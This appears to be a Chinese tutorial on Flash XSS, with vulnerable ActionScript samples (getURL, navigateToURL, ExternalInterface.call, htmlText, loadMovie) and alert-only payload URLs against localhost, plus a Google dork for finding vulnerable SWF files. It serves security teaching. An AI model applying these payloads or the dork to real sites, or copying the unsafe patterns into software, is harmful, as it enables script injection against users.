Flash XSS攻击总结 | 您所在的位置:网站首页 › loadmovie怎么用 › Flash XSS攻击总结 |
投稿安全脉搏作者:杀死那个石家庄人/ 菲哥哥 最近看完了很多关于xss的书 以下是我的一个总结希望能帮到刚接触Flash xss的朋友。 Flash中编程使用的是ActionScript脚本, Flash产生的xss问题主要有两种方式:加载第三方资源和与javascript通信引发XSS。 文章开头先普及下基本知识。 Ox01 Flash 安全沙盒Flash 安全沙盒用于控制swf文件间跨域访问,如果两个域之间没有进行信任授权是无法进行数据交互的.尝试访问会产生安全错误. 说明: com下的swf文件能够与a.com下的swf文件进行交互 com下的swf文件能够与a.com下的swf文件进行交互 com 下的swf文件无法访问b.com的swf文件两个不同安全域下的swf文件,之间是不能互相交互数据的。如果想让两个处于不同安全域内的SWF文件进行数据交互通信,必须要经过授权来实现。经过数据通信授权后即可进行数据通信交互。 授权: ActionScript中关于SWF文件跨域信任授权访问是通过 Security.allowDomain()方法来实现的。 http://a.example.com/a.swf 代码: var loader:Loader =new Loader(); loader.contentLoaderInfo.addEventListener(Event.INIT,init); var url:String="http://b.example.com/b.swf"; loader.load(new URLRequest(url)); function init(event:Event):void { trace(loader.content);}http://b.example.com/b.swf 代码: Security.allowDomain("a.example.com"); Security.allowDomain("*");
上面是两种不同的设置方式 1.只允许a.example.com访问b.example.com中的SWF文件 2.如果使用*号那么任何域中的SWF文件都能访问执行调用 b.exaple.com中的SWF文件。 Ox02 Crossdomian.xml
Crossdomian.xml是控制Flash的跨域策略文件,放在网站根目录.作用和allowDomain类似,在Crossdomain.xml文件中可以设置一个或多个信任域名.下面是youku的Corssdomian.xml文件。 //允许ykimgcom域名的Flash访问 Ox03 Flash getURL XSS
在Flash中Actionscript2 可以使用getURL来执行JavaScript 下面以一个实例来剖析下Flash XSS过程., 使用“Adobe Flash”创建Flash文件,F9快捷键调出代码编辑器,Ctrl+回车运行swf文件。用创建完成的Falsh文件。先看下面本地的简单测试实例 Flash代码: 代码大致意思加载外部含有xss代码的XML var Fei_xml:XML = new XML(); //创建xml对象 Fei_xml.ignoreWhite = true; // Fei_xml.onLoad = function(){ getURL(Fei_xml.childNodes[0].childNodes[0].childNodes[0].nodeValue)} //获取值 Fei_xml.load(_root.xss); //加载XML文档XML代码 javascript:alert('Flash Xss Test')访问: http://127.0.0.1/yins/xss/9.swf?xss=falsh.xml xss代码触发
造成Flash XSS 的主要原因就是没对?XSS=flash.xml获取的内容进行过滤导致的.提供一个查找此类漏洞文件的google关键字 Goole hack: filetype:swf inurl:xml Ox04 Flash navigateToURL XSS 在Actionscript3中已经不在支持getURL,可以用navigateToURL来执行javascript 下面以一个实例来剖析下Flash navigateToURL XSS过程. Flash代码: var url:String = stage.loaderInfo.parameters.url //获取url参数值 var req:URLRequest = new URLRequest("falsh.xml"); var ld:URLLoader = new URLLoader(); ld.addEventListener(Event.COMPLETE ,ok); var url:String = stage.loaderInfo.parameters.url //获取url参数值 var req:URLRequest = new URLRequest("falsh.xml"); var ld:URLLoader = new URLLoader(); ld.addEventListener(Event.COMPLETE ,ok); function ok(evtObj:Event):void { if(ld.data){ //navigateToURL(new URLRequest("javascript:alert("+url+")"),'_self') navigateToURL(new URLRequest(url),'_self') //通过navigateToURL调用执行 } else { } } ld.load(req)代码大意使用stage.loaderInfo.parameters.url 获取外部参数值,使用navigateToURL执行参数值。 访问: http://127.0.0.1/yins/xss/flash.swf?url=javascript:alert(%27navigateToURL%20Flash%20XSS%20TEST%27) xss代码触发 Ox05 Flash ExternalInterface.call XSS Flash中同样可以使用ExternalInterface.call执行javascript 代码, ExternalInterface.call可传递零个参数或传递多个参数我们只探讨如下两个。 ExternalInterface.call("函数名"): ExternalInterface.call("函数名","参数")。先说参数1缺陷时利用,参数1 也就是函数名.在参数1可控的时候即可造成XSS。先看下面Flash代码 Flash代码: 代码大意接收url提交的Feigege参数,然后 ExternalInterface.call把Feigege参数值放到ExternalInterface.call执行。 var xss:String = root.loaderInfo.parameters.Feigege if(ExternalInterface.available){ // 属性报告当前容器是否为支持 ExternalInterface ExternalInterface.call(xss) //执行js代码 } else { trace(100) } stop()访问: http://127.0.0.1/yins/xss/flash.swf?Feigege=alert('Flash xss TEst') 下面说参数2可控时的利用方式 Flash代码: 代码大意接收url提交的xss参数,然后 ExternalInterface.call把xss参数值放到ExternalInterface.call第二个参数执行。 var key:String = root.loaderInfo.parameters.xss if(ExternalInterface.available){ ExternalInterface.call("alert",key)//执行js } else { trace(100) } stop()访问: http://127.0.0.1/yins/xss/flash.swf?xss=%27xss%27 Ox06 Flash HTMLText XSS 在Flash里支持HTMLText属性,HTMLText的作用是显示html标签等。可以使用 img 或者a标签触发xss代码。先看用a标签的情况下。 Flash代码 代码大意 获取Feigege参数值,放到TextField里面显示。 var a:String = root.loaderInfo.parameters.Feigege //获取提交参数的值 var info:TextField = new TextField(); //创建控件对象 info.multiline=true; info.wordWrap=true; info.htmlText = a; //显示 addChild(info); >访问: http://127.0.0.1/yins/xss/text.swf?Feigege=%3Ca%20href=%27javascript:alert(%22xss%20test%22)%27%3EXSS%20click%3C/a%3E 点击输出的xss click 这种方法相对比较被动还需要点击触发。接着看下面的利用方式。 使用 访问: http://127.0.0.1/yins/xss/text.swf?Feigege=加载1.swf执行跨站代码 swf代码 ExternalInterface.call("alert('xss test')");什么是XSF? 就是使用ActionScript加载第三方的Flash文件时,攻击者能控制这个第三方的Flash文件这样就有可能造成XSF攻击,以下函数如果使用不当就很容易产生XSF问题。 loadVariables() loadMovie() loadMovieNum() FScrollPane.loadScrollContent() LoadVars.send XML.load('URL') LoadVars.load('url') Sound.loadSound('url') NetStream.play('url')
在ActionScript2中可以使用loadMovie函数来加载第三方文件,在ActionScript3中,已经去掉这个函数,改由loader来进行外部数据处理, 在HTML中嵌入flash时候IE下和非IE下也有所不同,IE下使用embed 非IE下使用object看下面例子。 1.html代码 |
CopyRight 2018-2019 实验室设备网 版权所有 |